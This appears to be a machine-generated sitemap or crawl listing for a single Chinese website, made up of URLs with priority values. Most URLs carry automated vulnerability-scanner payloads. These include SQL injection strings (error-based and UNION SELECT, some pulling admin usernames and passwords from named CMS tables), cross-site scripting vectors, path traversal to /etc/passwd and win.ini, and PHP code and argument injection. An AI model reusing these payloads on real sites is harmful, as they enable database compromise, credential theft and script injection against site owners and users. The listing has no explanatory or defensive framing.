http://www.cncml.com/wq_links-main.html?mod=apply')%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20('Ta'='Ta 0.0001 http://www.cncml.com/wq_links-main.html?mod=apply')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/wq_links-main.html?mod=apply')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/wq_links-main.html?mod=apply')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/wq_links-main.html?mod=apply')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/wq_links-main.html?mod=apply')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/wq_links-main.html?mod=apply)%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20(2014=2014 0.0001 http://www.cncml.com/wq_links-main.html?mod=apply)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/wq_links-main.html?mod=apply)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/wq_links-main.html?mod=apply)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/wq_links-main.html?mod=apply)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/wq_links-main.html?mod=apply)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/wwws/ 0.0002 http://www.cncml.com/zyxz/ 0.0011 http://www.cncml.com/zyxz/?%22onmouseover='prompt(42873)'bad=%22%3E 0.0001 http://www.cncml.com/zyxz/?/home/explore/category-1)%20AND%20(SELECT%204037%20FROM(SELECT%20COUNT(*),CONCAT(CHAR(58,100,114,108,58),(SELECT%20(CASE%20WHEN%20(4037=4037)%20THEN%201%20ELSE%200%20END)),CHAR(58,122,103,111,58),FLOOR(RAND(0)*2))x%20FROM%20information_schema.tables%20GROUP%20BY%20x)a)%20AND%20(9909=9909 0.0001 http://www.cncml.com/zyxz/?/people/360webscan?notification_id-360webscan' 0.0001 http://www.cncml.com/zyxz/?/people/ajax/user_actions/uid-1__actions-1)%20AND%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(sha1(0x3336307765627363616e),(SELECT%20(CASE%20WHEN%20(8274=8274)%20THEN%201%20ELSE%200%20END)),FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)%20and%20(1=1 0.0001 http://www.cncml.com/zyxz/?/s_tag/hehe%25%27%20union%20select%201,2,3,md5(1122),5,6,7%20from%20go_admin%23 0.0001 http://www.cncml.com/zyxz/?__runfile0123456789=/etc/passwd 0.0001 http://www.cncml.com/zyxz/?__runfile0123456789=c:%5Cwindows%5Cwin.ini 0.0001 http://www.cncml.com/zyxz/?action=course&do=-1%20AND%20(SELECT%202358%20FROM(SELECT%20COUNT(*),CONCAT(0x7765627363616E3A,(SELECT%20(CASE%20WHEN%20(2358=2358)%20THEN%201%20ELSE%200%20END)),0x3A66696E643A,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)%23&&todo=list 0.0001 http://www.cncml.com/zyxz/?app=vote&controller=vote&action=total&contentid=1%20and%20cast(ascii(substring(version(),1,1))=53%20as%20signed) 0.0001 http://www.cncml.com/zyxz/?app=widget&mod=feedlist&act=getdata&maxId=111&act=loadNew&templateCacheFile=C:%5CWindows%5Cwin.ini 0.0001 http://www.cncml.com/zyxz/?callback=%3Cscript%3Eprompt(42873)%3C/script%3E 0.0001 http://www.cncml.com/zyxz/?gallery-1--1--'%20%3E%3Ciframe%20src=javascript:window%5B%22%5Cx61%5Cx6c%5Cx65%5Cx72%5Cx74%22%5D(42873)%20'--grid.html 0.0001 http://www.cncml.com/zyxz/?m=User&a=login_800&from=tuan800&sign=xxoo&qname=%27%20AND%20%28SELECT%201%20FROM%28SELECT%20COUNT%28%2a%29%2CCONCAT%28md5%280x7765627363616e%29%2CFLOOR%28RAND%280%29%2a2%29%29X%20FROM%20information_schema.tables%20GROUP%20BY%20X%29a%29%23 0.0001 http://www.cncml.com/zyxz/?m=info&rewrite=1'%20union%20select%201,concat(0x23,md5(1122),0x23)%20from%20my_admin%20where%20id=1%20--%20a 0.0001 http://www.cncml.com/zyxz/?m=info.detail&id=1-webscan 0.0001 http://www.cncml.com/zyxz/?m=offer&s=offer_list&id=1-webscan%23 0.0001 http://www.cncml.com/zyxz/?m=product&s=list&key=12'%20and%201=(updatexml(1,concat(0x5e24,(select%20md5(1122)),0x5e24),1))%23 0.0001 http://www.cncml.com/zyxz/?m=vote&id=&vid=1,3)%20and%20%20webscan1122%23 0.0001 http://www.cncml.com/zyxz/?mod=account&code=Login_callback&cmd=a&from=../../../robots.txt%00 0.0001 http://www.cncml.com/zyxz/?mod=account&code=Sendcheckmail&uname=-1%2527%20or%201=1%23 0.0001 http://www.cncml.com/zyxz/?mod=wap&code=coupon_input&msgcode=ops-success&last%5B%5D==1%20union%20/*!select*/%201,1,1,1,1,1,1,1234567890,1%20from%20cenwor_system_members 0.0001 http://www.cncml.com/zyxz/?overview 0.0001 http://www.cncml.com/zyxz/?plugins&area=&class=u_sel&name=work_&q=areas&type=p,c&value=1/**/and/**/extractvalue(1,concat(0x5c,md5(1122)));-- 0.0001 http://www.cncml.com/zyxz/?plugins&q=area&name=type=p,c&area=1&area_id=updatexml(1,concat(md5(0x41144),user()),1) 0.0001 http://www.cncml.com/zyxz/?plugins&q=prosite&site_id=updatexml(1,concat(md5(0x41144),user()),1) 0.0001 http://www.cncml.com/zyxz/?product-75-1@%7C1122%22%3E%3Ciframe%20src=javascript:this%5B%22%5Cx61%5Cx6c%5Cx65%5Cx72%5Cx74%22%5D(%2242873%22)%20-index.html 0.0001 http://www.cncml.com/zyxz/?question/search/%27%75nion%20select%201,2,3,4,5,6,7,8,md5(1122),10,11,12,13,14,15,16,17,18,19,20%23 0.0001 http://www.cncml.com/zyxz/?question/search/tag:0%27%75nion%20select%201,2,3,4,5,6,(%73elect%20concat(0x23,md5(1122),0x23)%20%66rom%20ask_user%20limit%200,1),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%23.html 0.0001 http://www.cncml.com/zyxz/?question/tag/0%27%75nion%20select%201,2,3,4,5,6,(%73elect%20concat(0x23,md5(1122),0x23)%20%66rom%20ask_user%20limit%200,1),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%23.html 0.0001 http://www.cncml.com/zyxz/?s=/abc/abc/abc/$%7B@print(md5(base64_decode(MzYwd2Vic2Nhbg)))%7D/ 0.0001 http://www.cncml.com/zyxz/?s=abc~abc~abc~$%7B@print(md5(base64_decode(MzYwd2Vic2Nhbg)))%7D 0.0001 http://www.cncml.com/zyxz/?tag=test'%20AND%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(sha1('360webscan'),FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/zyxz/?user&q=action/check_email&email=%27%20and%20%28select%201%20from%20%28select%20count%28%2a%29%2Cconcat%28md5%280x7765627363616e%29%2Cfloor%28rand%280%29%2a2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23 0.0001 http://www.cncml.com/zyxz/?user&q=login&&q=check_email&email=test@sec.org%27%20and%20(Select%201%20from%20(Select%20count(*),concat(md5(1122),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23 0.0001 http://www.cncml.com/zyxz/?user&q=login&&q=check_username&username=only_test%27%20and%20(Select%201%20from%20(Select%20count(*),concat(md5(1122),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23 0.0001 http://www.cncml.com/zyxz/?user-getpass-1' 0.0001 http://www.cncml.com/zyxz/?user-space-1' 0.0001 http://www.cncml.com/zyxz/?xss_test%3Ciframe%20src=javascript:this%5B%22%5Cx61%5Cx6c%5Cx65%5Cx72%5Cx74%22%5D(%2242873%22)%3E 0.0001 http://www.cncml.com/zyxz/index.php/*123*/'union/**/select/**/1,2,3,4,5,6,7,8,md5(1122),10,11#&action=getatlbyid 0.0001 http://www.cncml.com/zyxz/index.php/?Itemid=11&option=com_search&searchword=%f6%22%20onmouseover%3dprompt(3312)%20//&task=search 0.0001 http://www.cncml.com/zyxz/index.php/Index/index/name/$%7B@print(md5(1122))%7D 0.0001 http://www.cncml.com/zyxz/index.php/Site/article/id/-5724)+UNION+ALL+SELECT+11,11,11,0x63656461723A66696E643A696969696969,11,11,11,11,11,11,11,11,11#.html 0.0001 http://www.cncml.com/zyxz/index.php/Site/listTpl/id/-7266)+UNION+ALL+SELECT+0x63656461723A66696E643A696969696969,NULL,NULL,NULL#.html 0.0001 http://www.cncml.com/zyxz/index.php/Site/page/id/-7266)+UNION+ALL+SELECT+0x63656461723A66696E643A696969696969,NULL,NULL,NULL#.html 0.0001 http://www.cncml.com/zyxz/index.php/abc-abc-abc-$%7B@exit(md5(118741911))%7D/ 0.0001 http://www.cncml.com/zyxz/index.php/cms/item-comment?callback=jsonp1380096883458'%22()%26%25%3Cscript%3Eprompt(42873)%3C/script%3E&iid=114&page=1&view_page=1&_=1380096883791&_ajax_request= 0.0001 http://www.cncml.com/zyxz/index.php/product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(0x7c,admin_name,0x7c,admin_pw,0x7c,sha1(0x3336307765627363616e))+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19%20and+'1'='1 0.0001 http://www.cncml.com/zyxz/index.php/weblinks-categories?id=just_test 0.0001 http://www.cncml.com/zyxz/index.php?-dauto_prepend_file%3d/etc/passwd+-n 0.0001 http://www.cncml.com/zyxz/index.php?_COOKIE%5Bcfg%5D%5Bdatabase%5D=mysql&_COOKIE%5Bcfg%5D%5Bdb_host%5D=localhost&_COOKIE%5Bcfg%5D%5Bdb_user%5D=webscan&_COOKIE%5Bcfg%5D%5Bdb_pass%5D=reer&_COOKIE%5Bcfg%5D%5Bdb_name%5D=db 0.0001 http://www.cncml.com/zyxz/index.php?a=list_type&c=index&m=link&siteid='+and(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,unhex(Hex(cast(v9_admin.username+as+char))),0x27,0x7e)+from+%60phpcmsv9%60.v9_admin+Order+by+userid+limit+0,1)+)+from+%60information_schema%60.tables+limit+0,1),floor(rand(0)*2))x+from+%60information_schema%60.tables+group+by+x)a)+and+'1'%3D'1 0.0001 http://www.cncml.com/zyxz/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing%20onmouonmouseoverseover=alert(42873)%20y=&m=content&page=&pay_type_int=&price=&rent_mode=&zone=3363 0.0001 http://www.cncml.com/zyxz/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing%22%20onmouseover=alert(42873)%20y=&m=content&page=&pay_type_int=&price=&rent_mode=&zone=3363 0.0001 http://www.cncml.com/zyxz/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=&rent_mode=2%20onmoonmouseoveruseover=alert(42873)%20y=&zone=3363 0.0001 http://www.cncml.com/zyxz/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=&rent_mode=2%22%20onmouseover=alert(42873)%20y=&zone=3363 0.0001 http://www.cncml.com/zyxz/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=2000_3000%20onmonmouseoverouseover=alert(42873)%20y=&rent_mode=&zone=3363 0.0001 http://www.cncml.com/zyxz/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=2000_3000%22%20onmouseover=alert(42873)%20y=&rent_mode=&zone=3363 0.0001 http://www.cncml.com/zyxz/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=4%20onmonmouseoverouseover=alert(42873)%20y=&price=&rent_mode=&zone=3363 0.0001 http://www.cncml.com/zyxz/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=4%22%20onmouseover=alert(42873)%20y=&price=&rent_mode=&zone=3363 0.0001 http://www.cncml.com/zyxz/index.php?a=lists&agent=&bedroom=4_100%20onmouonmouseoverseover=alert(42873)%20y=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=&rent_mode=&zone=336 0.0001 http://www.cncml.com/zyxz/index.php?a=lists&agent=&bedroom=4_100%22%20onmouseover=alert(42873)%20y=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=&rent_mode=&zone=336 0.0001 http://www.cncml.com/zyxz/index.php?a=lists&agent=2%20onmoonmouseoveruseover=alert(42873)%20y=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=&rent_mode=&zone=3363 0.0001 http://www.cncml.com/zyxz/index.php?a=lists&agent=2%22%20onmouseover=alert(42873)%20y=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=&rent_mode=&zone=3363 0.0001 http://www.cncml.com/zyxz/index.php?ac=order&at=list 0.0001 http://www.cncml.com/zyxz/index.php?ac=search&at=taglist&tagkey=%2527,tags)%20or(select%201%20from(select%20count(*),concat((select%20(select%20concat(0x7e,0x27,table_name,0x27,0x7e))%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23 0.0001 http://www.cncml.com/zyxz/index.php?ac=search&at=taglist&tagkey=a%2527 0.0001 http://www.cncml.com/zyxz/index.php?act=coupon&area_id=&city_id=1&class_id=&class_id_1=&mall_id=&op=list&orderby=coupon_end_time&sort=-12%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(0x23,md5(1122),0x23,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/zyxz/index.php?act=index&op=list&city_id=1&area_id=&mall_id=&class_id=2&class_id_1=8&pconsume=&orderby=person_consume&sort=,(select%201%20from(select%20count(*),concat((select%20(select%20(SELECT%20CHAR(100,%2056,%20100,%2057,%2048,%2097,%2097,%2057,%2052,%2051,%20101,%2052,%2097,%20100,%20100,%2050)))%20from%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a) 0.0001 http://www.cncml.com/zyxz/index.php?act=index&op=list&city_id=1&area_id=&mall_id=&class_id=3&class_id_1=22&pconsume=&orderby=add_time%20asc,%20(SELECT%201%20from%20(select%20count(*),concat(floor(rand(0)*2),%20md5(1122))a%20from%20information_schema.tables%20group%20by%20a)b);%23&sort=asc 0.0001 http://www.cncml.com/zyxz/index.php?act=search&key=click&order=desc,%20(SELECT%201%20from%20(select%20count(*),concat(floor(rand(0)*2),%20md5(1122))a%20from%20information_schema.tables%20group%20by%20a)b);%23&cate_id=8 0.0001 http://www.cncml.com/zyxz/index.php?act=show_groupbuy&op=groupbuy_list&groupbuy_area=&groupbuy_class=&groupbuy_price=1&groupbuy_order_key=price&groupbuy_order=asc,%20(SELECT%201%20from%20(select%20count(*),concat(floor(rand(0)*2),%20md5(1122))a%20from%20information_schema.tables%20group%20by%20a)b);%23 0.0001 http://www.cncml.com/zyxz/index.php?action=article&do=show&todo=content&a=282%20AND%20(SELECT%203853%20FROM(SELECT%20COUNT(*),CONCAT(0x6366726565723A,(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)),0x3A696A783A,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/zyxz/index.php?action=detail&do=offer&title=%2527or%25201%253D2%2523 0.0001 http://www.cncml.com/zyxz/index.php?action=school&todo=content&do=-1%20and%20(select%201%20from%20%20(select%20count(*),concat(0x7c,md5(1122),0x7c,floor(rand(0)*2))x%20from%20%20information_schema.tables%20group%20by%20x)a) 0.0001 http://www.cncml.com/zyxz/index.php?action=shop&todo=content&do=-1%20UNION%20SELECT%201,2,3,concat(0x7c,md5(1122),0x7c),5,6,7,8,9,10,11,12,13,14,15,16,17 0.0001 http://www.cncml.com/zyxz/index.php?action=teacher&teacher_id=(SELECT%201833%20FROM(SELECT%20COUNT(*),CONCAT(0x7e,md5(1122),0x7e,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)&todo=infor 0.0001 http://www.cncml.com/zyxz/index.php?app=/../robots.txt%00 0.0001 http://www.cncml.com/zyxz/index.php?app=user&ac=../../../robots.txt%00 0.0001 http://www.cncml.com/zyxz/index.php?app=user&ac=plugin&in=../../robots.txt%00 0.0001 http://www.cncml.com/zyxz/index.php?app=widget&mod=Category&act=getChild&model_name=Schedule&method=runSchedule&id%5Btask_to_run%5D=addons/Area)-%3EgetAreaList();print(md5(1122));%23 0.0001 http://www.cncml.com/zyxz/index.php?c=MTA3==&op=../../../../../../../../../../etc/passwd%00.jpg 0.0001 http://www.cncml.com/zyxz/index.php?c=ajax&a=member_login&template=../../ooxx.php 0.0001 http://www.cncml.com/zyxz/index.php?c=api&a=down&file=YWQ2OVpRcGJtL3d3NWh5WmVxbkNYbGRnZjVnalFLSXRaWkRpT1dVZmNXQ1BqNjhPeE82RkpKak1iWUZwcDZrK2tXaFZYdTRZ 0.0001 http://www.cncml.com/zyxz/index.php?c=api&m=data&auth=finecms&param=action%3Dcache%20name%3DSPACE-MODEL.1%27%5D%3Bprint%28md5%281122%29%29%3B%2f%2f 0.0001 http://www.cncml.com/zyxz/index.php?c=buylist&a=dellist&id=1%20and%20(select%201%20from%20(select%20count(*),concat(md5(1122),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a) 0.0001 http://www.cncml.com/zyxz/index.php?c=com_index&m=yp&userid=12%22%3E%3Ciframe%20src=javascript:alert(42873)%3E 0.0001 http://www.cncml.com/zyxz/index.php?c=tj&f=include&js=/../../config.php 0.0001 http://www.cncml.com/zyxz/index.php?c=ueditor&f=remote_image&upfile=http://0.0.0.0/reer.php 0.0001 http://www.cncml.com/zyxz/index.php?caid=1&ccid12=12&fsale=$%7B@print(md5(1122))%7D 0.0001 http://www.cncml.com/zyxz/index.php?case=../../../../../../../../../../../../../../../../etc/passwd%00 0.0001 http://www.cncml.com/zyxz/index.php?case=archive&act=orders 0.0001 http://www.cncml.com/zyxz/index.php?case=archive&act=orders&aid%5Baid%60%3D2%20and%200%20union%20select%201,2,3,char(106),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,md5(1122),36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58%20from%20cmseasy_user%20where%20userid%3C2%20%20--%20%20a%5D=26 0.0001 http://www.cncml.com/zyxz/index.php?case=archive&act=orders&aid%5Btypeid%60%3d1%20UNION%20SELECT@typeid,2,3,concat(0x7e,md5(1122),0x7e),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58%20from%20cmseasy_archive%20ORDER%20BY%201%23%5D=10 0.0001 http://www.cncml.com/zyxz/index.php?case=archive&act=search&keyword=webscan%25%2527%29%09union%09select%090%2C0%2C0%2Cconcat%28username%2Cpassword%29%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%09from%09cmseasy_user%09where%09groupid%3D2%09union%09SELECT%09*%09FROM%09%60cmseasy_archive%60%09WHERE%09%28title%09like%09%2527%25aaaaaaaa 0.0001 http://www.cncml.com/zyxz/index.php?case=manage&act=delete&manage=orders&guest=1&id=-1 0.0001 http://www.cncml.com/zyxz/index.php?case=tag&act=show&tag=%2522%20union%20select%200x2D3120756E696F6E2073656C65637420312C307833313239323037353645363936463645323037333635364336353633373432303331324333323243333332433644363433353238333533353332333233313331333233323239324333353243333632433337324333383243333932433331333032433331333132433331333232433331333332433331333432433331333532433331333632433331333732433331333832433331333932433332333032433332333132433332333232433332333332433332333432433332333532433332333632433332333732433332333832433332333932433333333032433333333132433333333232433333333332433333333432433333333532433333333632433333333732433333333832433333333932433334333032433334333132433334333232433334333332433334333432433334333532433334333632433334333732433334333832433334333932433335333032433335333132433335333232433335333332433335333432433335333532433335333632433335333732433335333832303636373236463644323036333644373336353631373337393546373537333635373232332C332D2D,2%23 0.0001 http://www.cncml.com/zyxz/index.php?controller=block&action=goodsCommend&id=0)%20Union%20select%201,md5(1122)%23 0.0001 http://www.cncml.com/zyxz/index.php?controller=block&action=spec_value_list&id=1%20union%20select%201,%28Select%20concat%280x5b,admin_name,0x3a,PassWord,0x5d%29%29,3,4,5,6%20from%20iwebshop_admin 0.0001 http://www.cncml.com/zyxz/index.php?controller=site&action=getProduct&specJSON=%7B%20%22people%22:%221'%20and%201=2%20union%20select%20md5(1122),2,3,4,5,6,7,8,9%20and%20'1'='1%22%7D 0.0001 http://www.cncml.com/zyxz/index.php?ctl=deals&k=pp%25%27%29and%20extractvalue%281%2Cconcat%280x5c%2Cmd5%280x7765627363616e%29%29%29%23 0.0001 http://www.cncml.com/zyxz/index.php?ctl=help&act=term%27%20and%20extractvalue%281%2Cconcat%280x5c%2Cmd5%280x7765627363616e%29%29%29%23 0.0001 http://www.cncml.com/zyxz/index.php?doc-summary-xxxxxxxxx%27%20and%201=2%20union%20select%201,2,3,4,5,CONCAT(0x7c,username,0x7c,password,0x7c,CHAR(119,101,98,115,99,97,110)),7,8,9,10,11,12,13,14,15,16,17,18,19,20%20from%20wiki_user%20where%20groupid=4%20limit%201%23 0.0001 http://www.cncml.com/zyxz/index.php?id=-1%7C%7C1%20group%20by%20mid(md5(1122)%20from%20rand()*10%20for%2030)having%20min(1)%23&mod=compare 0.0001 http://www.cncml.com/zyxz/index.php?id=product&c=project&cate=1&ext%5Bid%3C0%20union%20select%20111,2,3,4,5,6,md5(1122),8,9%20,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26--%5D=1 0.0001 http://www.cncml.com/zyxz/index.php?index=a&skin=default/../&dataoptimize_html=/../../templates/default/images/css/metinfo.css 0.0001 http://www.cncml.com/zyxz/index.php?keywords=zzz333&mod=search 0.0001 http://www.cncml.com/zyxz/index.php?language_id=1%20and%20%20%28SELECT%201%20from%20%28select%20count%28%2a%29%2Cconcat%28floor%28rand%280%29%2a2%29%2C%28substring%28%28select%28md5%281122%29%29%29%2C1%2C62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%23&is_protect=1&action=cccc 0.0001 http://www.cncml.com/zyxz/index.php?m=Ajax&a=gettypeattr&type_id=1%27%20AND%20%28SELECT%201%20FROM%28SELECT%20COUNT%28%2a%29%2CCONCAT%28md5%280x7765627363616e%29%2CFLOOR%28RAND%280%29%2a2%29%29X%20FROM%20information_schema.tables%20GROUP%20BY%20X%29a%29%23 0.0001 http://www.cncml.com/zyxz/index.php?m=Article&a=showByUname&uname=%2527or%25201%253D%2528select%25201%2520from%2520%2528select%2520count%2528%252a%2529%252Cconcat%2528floor%2528rand%25280%2529%252a2%2529%252C%2528select%2520md5%25281122%2529%2520from%2520fanwe_admin%2520limit%25200%252C1%2529%2529a%2520from%2520information_schema.tables%2520group%2520by%2520a%2529b%2529%2523 0.0001 http://www.cncml.com/zyxz/index.php?m=Goods&a=showByUname&uname=%2527AND%20%28SELECT%201%20FROM%28SELECT%20COUNT%28%2a%29%2CCONCAT%28md5%280x7765627363616e%29%2CFLOOR%28RAND%280%29%2a2%29%29X%20FROM%20information_schema.tables%20GROUP%20BY%20X%29a%29%23 0.0001 http://www.cncml.com/zyxz/index.php?m=Goods&a=showcate&id=1'cfreer 0.0001 http://www.cncml.com/zyxz/index.php?m=Order&a=index 0.0001 http://www.cncml.com/zyxz/index.php?m=announcement&s=admin/notice_manager&action=modify&id=1212%20UnIon%20select%201,2,concat(user,0x7c,password),4,5,6,7,8%20from%20webscan%23 0.0001 http://www.cncml.com/zyxz/index.php?m=company&s=admin/exportexcel&ordrby=user%20and%201=websec%23 0.0001 http://www.cncml.com/zyxz/index.php?m=company&s=space_comments&uid=1and%20(SELECT%201%20from%20(selectcount(*),concat(floor(rand(0)*2),(substring((select(selEctconcat(user,0x7c,password)%20from%20b2bbuilder_admin%20limit%200,1)),1,62)))a%20frominformation_schema.tables%20group%20by%20a)b) 0.0001 http://www.cncml.com/zyxz/index.php?m=company&s=space_mail&tid=1)%20and%201=websec%20%23 0.0001 http://www.cncml.com/zyxz/index.php?m=message&s=inquire&userid=1)%20UnIon%20select%201,12,123%20from%20webscan%23 0.0001 http://www.cncml.com/zyxz/index.php?m=message&s=inquiry_basket 0.0001 http://www.cncml.com/zyxz/index.php?m=news&s=admin/news&newsid=1%20and%20(SELECT%201%20from%20websec) 0.0001 http://www.cncml.com/zyxz/index.php?m=news&s=admin/newslist&submit=%E5%88%A0%E9%99%A4&did=999%29%20and%20%28SELECT%201%20from%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28select%28selEct%20concat%28user,0x7c,password%29%20from%20f10bd198561acb0197452013b7a82429%20limit%200,1%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%23 0.0001 http://www.cncml.com/zyxz/index.php?m=poster&c=index&a=poster_click&id=1 0.0001 http://www.cncml.com/zyxz/index.php?m=search&a=public_get_suggest_keyword&url=http://www.baidu.com/&q=/../robots.txt 0.0001 http://www.cncml.com/zyxz/index.php?m=video&c=video_for_ck&a=add_f_ckeditor&vid=1&title=1122&description=a%E9%8C%A6%27,0,0,0,0,0,%28select%20%281%29%20from%20mysql.user%20where%201=1%20aNd%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%29%29%23 0.0001 http://www.cncml.com/zyxz/index.php?m=video&c=video_for_ck&a=add_f_ckeditor&vid=1&title=a%E9%8C%A6%27,0,0,0,0,0,%28select%20%281%29%20from%20mysql.user%20where%201=1%20aNd%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%29%29%23 0.0001 http://www.cncml.com/zyxz/index.php?m=wap&siteid=1&a=big_image&url=aHR0cDovL3hzc3Rlc3QuY29tIiBvbmVycm9yPSJqYXZhc2NyaXB0OmFsZXJ0KDQyODczKTs= 0.0001 http://www.cncml.com/zyxz/index.php?m=yp&c=index&a=lists&areaid=12&catid=114&price=&tid=1%22%20onmouseover=prompt(42873)%20&page=1&order=1 0.0001 http://www.cncml.com/zyxz/index.php?m=yp&c=index&a=lists&areaid=37%20%20onmouseover%3Dprompt%2842873%29%20&catid=10&price=1_500&page=1&order=4 0.0001 